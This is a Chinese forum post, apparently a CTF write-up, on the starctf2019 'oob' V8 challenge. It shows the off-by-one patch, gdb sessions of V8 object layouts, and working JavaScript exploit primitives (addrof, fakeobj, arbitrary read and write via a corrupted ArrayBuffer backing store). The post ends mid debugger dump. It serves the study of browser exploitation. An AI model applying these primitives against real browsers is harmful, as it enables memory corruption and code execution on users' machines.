首页
论坛
课程
招聘
[原创]v8漏洞调试学习--starctf2019 oob
2021-5-11 17:47 6538

[原创]v8漏洞调试学习--starctf2019 oob

2021-5-11 17:47
6538

参考

https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/

 

chrome源码
https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/js-objects.h;drc=834cb0651d5b24307b3df8007c2bc6bd5db93c29;l=299

 

js语法
https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/DataView

1.编译v8

1
2
3
4
5
6
7
8
9
10
11
12
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
echo "export PATH=/home/user1/Downloads/v8/depot_tools:$PATH" >> ~/.bashrc
fetch v8
cd v8
./build/install-build-deps.sh
git checkout 6dc88c191f5ecc5389dc26efa3ca0907faef3598
gclient sync
git apply ../starctf2019_oob/oob.diff #题目的patch
./tools/dev/v8gen.py x64.release
ninja -C ./out.gn/x64.release #release版本
./tools/dev/v8gen.py x64.debug
ninja -C ./out.gn/x64.debug # Debug 版本

oob.diff文件如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
                           Builtins::kArrayPrototypeCopyWithin, 2, false);
     SimpleInstallFunction(isolate_, proto, "fill",
                           Builtins::kArrayPrototypeFill, 1, false);
+    SimpleInstallFunction(isolate_, proto, "oob",
+                          Builtins::kArrayOob,2,false);
     SimpleInstallFunction(isolate_, proto, "find",
                           Builtins::kArrayPrototypeFind, 1, false);
     SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
   return *final_length;
 }
 // namespace
+BUILTIN(ArrayOob){
+    uint32_t len = args.length();
+    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+    Handle<JSReceiver> receiver;
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+            isolate, receiver, Object::ToObject(isolate, args.receiver()));
+    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+    uint32_t length = static_cast<uint32_t>(array->length()->Number());
+    if(len == 1){
+        //read
+        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+    }else{
+        //write
+        Handle<Object> value;
+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+        elements.set(length,value->Number());
+        return ReadOnlyRoots(isolate).undefined_value();
+    }
+}
 
 BUILTIN(ArrayPush) {
   HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
   TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel)     \
   /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */   \
   TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel)  \
+  CPP(ArrayOob)                                                                \
                                                                                \
   /* ArrayBuffer */                                                            \
   /* ES #sec-arraybuffer-constructor */                                        \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
       return Type::Receiver();
     case Builtins::kArrayUnshift:
       return t->cache_->kPositiveSafeInteger;
+    case Builtins::kArrayOob:
+      return Type::Receiver();
 
     // ArrayBuffer functions.
     case Builtins::kArrayBufferIsView:

2.漏洞成因

提供diff文件的浏览器漏洞利用题目,第一步就是要认真查看diff文件,确定出题者增加的漏洞具体信息。观察oob.diff补丁文件可以发现,出题者主要增加了三部分内容。
首先,为Array对象增加了一个oob函数,内部表示为kArrayOob:

1
2
3
4
5
6
7
8
9
10
11
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
                           Builtins::kArrayPrototypeCopyWithin, 2, false);
     SimpleInstallFunction(isolate_, proto, "fill",
                           Builtins::kArrayPrototypeFill, 1, false);
+    SimpleInstallFunction(isolate_, proto, "oob",
+                          Builtins::kArrayOob,2,false);  //增加了一个oob成员函数
     SimpleInstallFunction(isolate_, proto, "find",
                           Builtins::kArrayPrototypeFind, 1, false);
     SimpleInstallFunction(isolate_, proto, "findIndex",

然后,增加了kArrayOob函数的具体实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
   return *final_length;
 }
 // namespace
+BUILTIN(ArrayOob){
+    uint32_t len = args.length();
+    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+    Handle<JSReceiver> receiver;
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+            isolate, receiver, Object::ToObject(isolate, args.receiver()));
+    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+    uint32_t length = static_cast<uint32_t>(array->length()->Number());
+    if(len == 1){
+        //read
+        return *(isolate->factory()->NewNumber(elements.get_scalar(length))); //off by one越界读取
+    }else{
+        //write
+        Handle<Object> value;
+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+        elements.set(length,value->Number());//off by one越界写
+        return ReadOnlyRoots(isolate).undefined_value();
+    }
+}

从上面看diff的增加的主要逻辑在第二部分。
大致意思就是:获取oob函数的参数,当参数个数为1时,读取数组第length个元素的内容,否则将第length个元素改写为args输入参数中的第二个参数,注意上述参数个数是C++中的参数长度。
我们都知道C++中成员函数的第一个参数必定是this指针,因此上述逻辑转换为JavaScript中的对应逻辑就是,当oob函数的参数为空时,返回数组对象第length个元素内容;当oob函数参数个数不为0时,就将第一个参数写入到数组中的第length个元素位置。

3.数据类型

Double: Shown as the 64-bit binary representation without any changes
Smi: Represented as value << 32, i.e 0xdeadbeef is represented as 0xdeadbeef00000000
Pointers: Represented as addr & 1. 0x2233ad9c2ed8 is represented as 0x2233ad9c2ed9
v8无法表示64位整数,因此需要编写函数实现浮点数与64位整数之间的转换。函数实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/// Helper functions to convert between float and integer primitives
var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
 
function ftoi(val) { // typeof(val) = float
    f64_buf[0] = val;
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness
}
 
function itof(val) { // typeof(val) = BigInt
    u64_buf[0] = Number(val & 0xffffffffn);
    u64_buf[1] = Number(val >> 32n);
    return f64_buf[0];
}

4. gdb调试越界读

通过debug版本的调试,了解JSArray数据结构
调试命令如下:

1
gdb -x ../v8/tools/gdbinit -x ../v8/tools/gdb-v8-support.py --args ../v8/out.gn/x64.debug/d8 --allow-natives-synta

调试过程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
pwndbg> r
Starting program: /home/user1/Downloads/v8/v8/out.gn/x64.debug/d8 --allow-natives-syntax
ERROR: Could not find ELF base!
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7f28cdfc0700 (LWP 7929)]
[New Thread 0x7f28cd7bf700 (LWP 7930)]
[New Thread 0x7f28ccfbe700 (LWP 7931)]
V8 version 7.5.0 (candidate)
d8> var a = [1.1, 2.2];
undefined
d8> %DebugPrint(a);
DebugPrint: 0x2642e648dd79: [JSArray]
 - map: 0x2471f8a42ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x2679cd991111 <JSArray[0]>
 - elements: 0x2642e648dd59 <FixedDoubleArray[2]> [PACKED_DOUBLE_ELEMENTS]
 - length: 2
 - properties: 0x049475f80c71 <FixedArray[0]> {
    #length: 0x2b6cc32c01a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x2642e648dd59 <FixedDoubleArray[2]> {
           0: 1.1
           1: 2.2
 }
0x2471f8a42ed9: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 32
 - inobject properties: 0
 - elements kind: PACKED_DOUBLE_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x2471f8a42e89 <Map(HOLEY_SMI_ELEMENTS)>
 - prototype_validity cell: 0x2b6cc32c0609 <Cell value= 1>
 - instance descriptors #1: 0x2679cd991f49 <DescriptorArray[1]>
 - layout descriptor: (nil)
 - transitions #1: 0x2679cd991eb9 <TransitionArray[4]>Transition array #1:
     0x049475f84ba1 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x2471f8a42f29 <Map(HOLEY_DOUBLE_ELEMENTS)>
 
 - prototype: 0x2679cd991111 <JSArray[0]>
 - constructor: 0x2679cd990ec1 <JSFunction Array (sfi = 0x2b6cc32caca1)>
 - dependent code: 0x049475f802c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0
 
[1.1, 2.2]
d8> %SystemBreak()
 
Thread 1 "d8" received signal SIGTRAP, Trace/breakpoint trap.
v8::base::OS::DebugBreak () at ../../src/base/platform/platform-posix.cc:428
428     }
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
 RAX  0x0
 RBX  0x7f28d1f9a7c0 ◂— push   rbp
 RCX  0x0
 RDX  0x7f28d0a61e73 ◂— '0 == args.length()'
 RDI  0x0
 RSI  0x0
 R8   0x7ffe884900d3 ◂— 0x0
 R9   0x3a
 R10  0xd
 R11  0x7f28d2eac280 (v8::base::OS::DebugBreak()) ◂— push   rbp
 R12  0x2679cd981869 ◂— 0x49475f80f
 R13  0x55dcca0c7f80 —▸ 0x49475f80751 ◂— 0x820000049475f807
 R14  0x0
 R15  0x7ffe8849c5c8 —▸ 0x49475f804d1 ◂— 0x49475f805
 RBP  0x7ffe8849c470 —▸ 0x7ffe8849c4e0 —▸ 0x7ffe8849c560 —▸ 0x7ffe8849c580 —▸ 0x7ffe8849c5b8 ◂— ...
 RSP  0x7ffe8849c470 —▸ 0x7ffe8849c4e0 —▸ 0x7ffe8849c560 —▸ 0x7ffe8849c580 —▸ 0x7ffe8849c5b8 ◂— ...
 RIP  0x7f28d2eac285 (v8::base::OS::DebugBreak()+5) ◂— pop    rbp
──────────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────────────────────────────
 0x7f28d2eac285 <v8::base::OS::DebugBreak()+5>    pop    rbp
   0x7f28d2eac286 <v8::base::OS::DebugBreak()+6>    ret
    
   0x7f28d1f9ab11                                   mov    rsi, qword ptr [rbp - 0x20]
   0x7f28d1f9ab15                                   lea    rdi, [rbp - 0x50]
   0x7f28d1f9ab19                                   call   v8::internal::ReadOnlyRoots::ReadOnlyRoots(v8::internal::Isolate*)@plt <v8::internal::ReadOnlyRoots::ReadOnlyRoots(v8::internal::Isolate*)@plt>
 
   0x7f28d1f9ab1e                                   lea    rdi, [rbp - 0x50]
   0x7f28d1f9ab22                                   call   0x7f28d2a7c720 <0x7f28d2a7c720>
 
   0x7f28d1f9ab27                                   mov    qword ptr [rbp - 0x48], rax
   0x7f28d1f9ab2b                                   mov    rax, qword ptr [rbp - 0x48]
   0x7f28d1f9ab2f                                   mov    qword ptr [rbp - 8], rax
   0x7f28d1f9ab33                                   lea    rdi, [rbp - 0x38]
──────────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────────────────────────────────────────────────────────
In file: /home/user1/Downloads/v8/v8/src/base/platform/platform-posix.cc
   423   // Software breakpoint instruction is 0x0001
   424   asm volatile(".word 0x0001");
   425 #else
   426 #error Unsupported host architecture.
   427 #endif
 428 }
   429
   430
   431 class PosixMemoryMappedFile final : public OS::MemoryMappedFile {
   432  public:
   433   PosixMemoryMappedFile(FILE* file, void* memory, size_t size)
00:0000│ rbp rsp 0x7ffe8849c470 —▸ 0x7ffe8849c4e0 —▸ 0x7ffe8849c560 —▸ 0x7ffe8849c580 —▸ 0x7ffe8849c5b8 ◂— ...
01:0008│         0x7ffe8849c478 —▸ 0x7f28d1f9ab11 ◂— mov    rsi, qword ptr [rbp - 0x20]
02:0010│         0x7ffe8849c480 ◂— 0x1007ffe8849c4a8
03:0018│         0x7ffe8849c488 —▸ 0x7f28d0a2e180 ◂— 'length_ >= 0'
04:0020│         0x7ffe8849c490 ◂— 0xfffffffd
05:0028│         0x7ffe8849c498 ◂— 0x0
06:0030│         0x7ffe8849c4a0 ◂— 0x0
07:0038│         0x7ffe8849c4a8 —▸ 0x55dcca0c7f00 —▸ 0x7ffe8849d4a0 ◂— 0x55dcca0c7f00
────────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0   0x7f28d2eac285 v8::base::OS::DebugBreak()+5
   f 1   0x7f28d1f9ab11
   f 2   0x7f28d1f9a8d7
   f 3   0x7f28d27701db Builtins_CEntry_Return1_DontSaveFPRegs_ArgvInRegister_NoBuiltinExit+59
   f 4   0x7f28d2945672 Builtins_CallRuntimeHandler+178
   f 5   0x7ffe8849c590
   f 6   0x7ffe8849c590
   f 7   0x7ffe8849c5f0
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/4gx 0x2642e648dd79-1
0x2642e648dd78: 0x00002471f8a42ed9      0x0000049475f80c71
0x2642e648dd88: 0x00002642e648dd59      0x0000000200000000
pwndbg>  x/10gx 0x00002642e648dd59-1
0x2642e648dd58: 0x0000049475f814f9      0x0000000200000000
0x2642e648dd68: 0x3ff199999999999a      0x400199999999999a
0x2642e648dd78: 0x00002471f8a42ed9      0x0000049475f80c71
0x2642e648dd88: 0x00002642e648dd59      0x0000000200000000
0x2642e648dd98: 0x0000049475f80941      0x00000adc49efffe6
pwndbg> p/f 0x3ff199999999999a
$1 = 1.1000000000000001
pwndbg> p/0x400199999999999a
$2 = 2.2000000000000002

通过上面的调试,我们知道,JSArray的第一个元素是map,第二个元素是properties,第三个元素是elements指针,指向FixedDoubleArray,并且排列在JSArray前面。
那么我们就可以通过oob的越界读和越界写来泄露map和改写map,map表示该对象的类型,通过改写map就可以改变对象的类型,造成类型混淆。
但是由于debug版本会检查数组越界,不能调试。因此,我们调试release版本。
release版本的调试命令如下:

1
gdb --args ../v8/out.gn/x64.release/d8 --allow-natives-syntax --shell pwn.js

其中pwn.js就是上面的数据类型转化脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/// Helper functions to convert between float and integer primitives
var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
 
function ftoi(val) { // typeof(val) = float
    f64_buf[0] = val;
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness
}
 
function itof(val) { // typeof(val) = BigInt
    u64_buf[0] = Number(val & 0xffffffffn);
    u64_buf[1] = Number(val >> 32n);
    return f64_buf[0];
}

调试过程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
pwndbg> r
Starting program: /home/user1/Downloads/v8/v8/out.gn/x64.release/d8 --allow-natives-syntax --shell pwn.js
ERROR: Could not find ELF base!
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff661a700 (LWP 13793)]
[New Thread 0x7ffff5e19700 (LWP 13794)]
[New Thread 0x7ffff5618700 (LWP 13795)]
[+] Controlled float array: 0xb5e64e0f2d1
V8 version 7.5.0 (candidate)
d8> var a = [1.1, 2.2];
undefined
d8> %DebugPrint(a);
0x0b5e64e0f551 <JSArray[2]>
[1.1, 2.2]
d8> a.oob();
1.6144441094084e-310
d8> "0x" + ftoi(a.oob()).toString(16);
"0x1db823d82ed9"
d8> %SystemBreak()
 
Thread 1 "d8" received signal SIGTRAP, Trace/breakpoint trap.
0x00005555561647a1 in v8::base::OS::DebugBreak() ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x0
 RBX  0x555556320e50 —▸ 0x7fffffffdfd0 ◂— 0x555556320e50
 RCX  0x5555560e9500 (Builtins_CallRuntimeHandler) ◂— push   rbp
 RDX  0x555556320e50 —▸ 0x7fffffffdfd0 ◂— 0x555556320e50
 RDI  0x0
 RSI  0x7fffffffd928 —▸ 0x2aecc36404d1 ◂— 0x2aecc36405
 R8   0x2b69e17c1869 ◂— 0x2aecc3640f
 R9   0x3a
 R10  0x100000000
 R11  0xfffffffffffffffb
 R12  0x5555563a82c0 ◂— 0x0
 R13  0x555556320ed0 —▸ 0x2aecc3640751 ◂— 0xb600002aecc36407
 R14  0x0
 R15  0x5555563a6388 ◂— 0x1baddead0baddeaf
 RBP  0x7fffffffd8d0 —▸ 0x7fffffffd8f8 —▸ 0x7fffffffd918 —▸ 0x7fffffffd950 —▸ 0x7fffffffd978 ◂— ...
 RSP  0x7fffffffd8a8 —▸ 0x555555e1b825 ◂— mov    r14, qword ptr [rbx + 0x58]
 RIP  0x5555561647a1 (v8::base::OS::DebugBreak()+1) ◂— ret
 0x5555561647a1 <v8::base::OS::DebugBreak()+1>    ret    <0x555555e1b825>
    
   0x555555e1b825                                   mov    r14, qword ptr [rbx + 0x58]
   0x555555e1b829                                   mov    rsi, qword ptr [rbx + 0x9da8]
   0x555555e1b830                                   mov    qword ptr [rbx + 0x9da8], r15
   0x555555e1b837                                   add    dword ptr [rbx + 0x9db8], -1
   0x555555e1b83e                                   cmp    qword ptr [rbx + 0x9db0], r12
   0x555555e1b845                                   je     0x555555e1b860 <0x555555e1b860>
    
   0x555555e1b860                                   mov    rdi, r15
   0x555555e1b863                                   call   0x555555b4b2d0 <0x555555b4b2d0>
 
   0x555555e1b868                                   mov    rax, r14
   0x555555e1b86b                                   pop    rbx
──────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffd8a8 —▸ 0x555555e1b825 ◂— mov    r14, qword ptr [rbx + 0x58]
01:0008│     0x7fffffffd8b0 —▸ 0x555555e1b7f0 ◂— push   rbp
02:0010│     0x7fffffffd8b8 —▸ 0x5555562d0740 (v8::internal::kIntrinsicFunctions) ◂— 0x0
03:0018│     0x7fffffffd8c0 ◂— 0x0
04:0020│     0x7fffffffd8c8 —▸ 0x7fffffffd928 —▸ 0x2aecc36404d1 ◂— 0x2aecc36405
05:0028│ rbp 0x7fffffffd8d0 —▸ 0x7fffffffd8f8 —▸ 0x7fffffffd918 —▸ 0x7fffffffd950 —▸ 0x7fffffffd978 ◂— ...
06:0030│     0x7fffffffd8d8 —▸ 0x555556095f94 (Builtins_CEntry_Return1_DontSaveFPRegs_ArgvInRegister_NoBuiltinExit+52) ◂— cmp    rax, qword ptr [r13 + 0xb8]
07:0038│     0x7fffffffd8e0 ◂— 0xffffffffffffffff
────────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0   0x5555561647a1 v8::base::OS::DebugBreak()+1
   f 1   0x555555e1b825
   f 2   0x555556095f94 Builtins_CEntry_Return1_DontSaveFPRegs_ArgvInRegister_NoBuiltinExit+52
   f 3   0x5555560e9552 Builtins_CallRuntimeHandler+82
   f 4   0x5555560091a6 Builtins_InterpreterEntryTrampoline+678
   f 5   0x2aecc36404d1
   f 6     0x3a00000000
   f 7   0x2b69e17e39a1
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/4gx 0x0b5e64e0f551-1
0xb5e64e0f5500x00001db823d82ed9      0x00002aecc3640c71
0xb5e64e0f5600x00000b5e64e0f531      0x0000000200000000

5. 通过改写map指针实现泄露对象地址原语和伪造对象原语

对象的map表示以下信息:
The dynamic type of the object, i.e. String, Uint8Array, HeapNumber, …
The size of the object in bytes
The properties of the object and where they are stored
The type of the array elements, e.g. unboxed doubles or tagged pointers
The prototype of the object if any
通过修改一个object array的map为float array的map,则可以将object的地址泄露出来。详细调试过程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pwndbg> r
Starting program: /home/user1/Downloads/v8/v8/out.gn/x64.release/d8 --allow-natives-syntax --shell pwn.js
ERROR: Could not find ELF base!
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff661a700 (LWP 22583)]
[New Thread 0x7ffff5e19700 (LWP 22584)]
[New Thread 0x7ffff5618700 (LWP 22585)]
[+] Controlled float array: 0x1dbce0a8f2d1
V8 version 7.5.0 (candidate)
d8> float_arr=[1.1,1.2];
[1.1, 1.2]
d8> var float_arr_map = float_arr.oob();
undefined
d8> var obj = {"A":1.1};
undefined
d8> var obj_arr = [obj];
undefined
d8> obj_arr.oob(float_arr_map);
undefined
d8> "0x" + ftoi(obj_arr[0]).toString(16);
"0x1dbce0a91c99"
d8> %DebugPrint(obj);
0x1dbce0a91c99 <Object map = 0xd5aaf14ab89>
{A: 1.1}

同理,将float array的map改为object array的map,则可以伪造一个虚假对象。
相应的读对象地址原语和伪造对象原语的函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
/// Construct addrof primitive
var temp_obj = {"A":1};
var obj_arr = [temp_obj];
var float_arr = [1.1, 1.2, 1.3, 1.4];
var obj_arr_map = obj_arr.oob();
var float_arr_map = fl_arr.oob();
 
function addrof(in_obj) {
    // First, put the obj whose address we want to find into index 0
    obj_arr[0] = in_obj;
 
    // Change the obj array's map to the float array's map
    obj_arr.oob(float_arr_map);
 
    // Get the address by accessing index 0
    let addr = obj_arr[0];
 
    // Set the map back
    obj_arr.oob(obj_arr_map);
 
    // Return the address as a BigInt
    return ftoi(addr);
}
 
function fakeobj(addr) {
    // First, put the address as a float into index 0 of the float array
    float_arr[0] = itof(addr);
 
    // Change the float array's map to the obj array's map
    float_arr.oob(obj_arr_map);
 
    // Get a "fake" object at that memory location and store it
    let fake = float_arr[0];
 
    // Set the map back
    float_arr.oob(float_arr_map);
 
    // Return the object
    return fake;
}

6. 构造任意地址读写原语

6.1 通过构造fake float array实现任意地址读

将float array的element指针改写为任意地址,就可以任意地址读了。
如何改写到element指针呢?
在一个float array “arb_rw_arr”中伪造一个float array “fake”,通过arb_rw_arr来改写element指针,通过fake来读取内容。具体代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// This array is what we will use to read from and write to arbitrary memory addresses
var arb_rw_arr = [float_arr_map, 1.2, 1.3, 1.4];
 
console.log("[+] Controlled float array: 0x" + addrof(arb_rw_arr).toString(16));
 
function arb_read(addr) {
    // We have to use tagged pointers for reading, so we tag the addr
    if (addr % 2n == 0)
    addr += 1n;
 
    // Place a fakeobj right on top of our crafted array with a float array map
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
 
    // Change the elements pointer using our crafted array to read_addr-0x10
    arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
 
    // Index 0 will then return the value at read_addr
    return ftoi(fake[0]);
}
 
function initial_arb_write(addr, val) {
    // Place a fakeobj right on top of our crafted array with a float array map
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
 
    // Change the elements pointer using our crafted array to write_addr-0x10
    arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
 
    // Write to index 0 as a floating point value
    fake[0] = itof(BigInt(val));
}

6.2 通过构造fake ArrayBuffer实现任意地址写

但是仅仅使用element指针来改写fake的元素,会报错。需要结合ArrayBuffer来实现任意地址写原语。通过改写ArrayBuffer的backing_store指针,既可实现任意地址写。代码如下:

1
2
3
4
5
6
7
8
function arb_write(addr, val) {
    let buf = new ArrayBuffer(8);
    let dataview = new DataView(buf);
    let buf_addr = addrof(buf);
    let backing_store_addr = buf_addr + 0x20n;
    initial_arb_write(backing_store_addr, addr);
    dataview.setBigUint64(0, BigInt(val), true);
}

ArrayBuffer数据结构调试如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
pwndbg> r
Starting program: /home/user1/Downloads/v8/v8/out.gn/x64.debug/d8 --allow-natives-syntax
ERROR: Could not find ELF base!
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7f5d5d872700 (LWP 28894)]
[New Thread 0x7f5d5d071700 (LWP 28895)]
[New Thread 0x7f5d5c870700 (LWP 28896)]
V8 version 7.5.0 (candidate)
d8> let buf = new ArrayBuffer(8);
    let dataview = new DataView(buf);undefined
d8> %DebugPrint(buf)
DebugPrint: 0xc8569c4dd51: [JSArrayBuffer]
 - map: 0x0022cd2421b9 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x33da3794e981 <Object map = 0x22cd242209>
 - elements: 0x23d58c9c0c71 <FixedArray[0]> [HOLEY_ELEMENTS]
 - embedder fields: 2
 - backing_store: 0x5646da124120
 - byte_length: 8
 - detachable
 - properties: 0x23d58c9c0c71 <FixedArray[0]> {}
 - embedder fields = {
    0, aligned pointer: (nil)
    0, aligned pointer: (nil)
 }
0x22cd2421b9: [Map]
 - type: JS_ARRAY_BUFFER_TYPE
 - instance size: 64
 - inobject properties: 0
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - stable_map
 - back pointer: 0x23d58c9c04d1 <undefined>
 - prototype_validity cell: 0x244a7cbc0609 <Cell value= 1>
 - instance descriptors (own) #0: 0x23d58c9c0259 <DescriptorArray[0]>
 - layout descriptor: (nil)
 - prototype: 0x33da3794e981 <Object map = 0x22cd242209>
 - constructor: 0x33da3794e7e9 <JSFunction ArrayBuffer (sfi = 0x244a7cbd1509)>
 - dependent code: 0x23d58c9c02c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0
 
[object ArrayBuffer]
d8> %SystemBreak()
 
Thread 1 "d8" received signal SIGTRAP, Trace/breakpoint trap.
v8::base::OS::DebugBreak () at ../../src/base/platform/platform-posix.cc:428
428     }
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x0
 RBX  0x7f5d6184c7c0 ◂— push   rbp
 RCX  0x0
 RDX  0x7f5d60313e73 ◂— '0 == args.length()'
 RDI  0x0
 RSI  0x0
 R8   0x7ffd0e7e00d3 ◂— 0x0
 R9   0x3a
 R10  0xd
 R11  0x7f5d6275e280 (v8::base::OS::DebugBreak()) ◂— push   rbp
 R12  0x33da37941869 ◂— 0x23d58c9c0f
 R13  0x5646da124f80 —▸ 0x23d58c9c0751 ◂— 0x2e000023d58c9c07
 R14  0x0
 R15  0x7ffd0e7e5a78 —▸ 0x23d58c9c04d1 ◂— 0x23d58c9c05
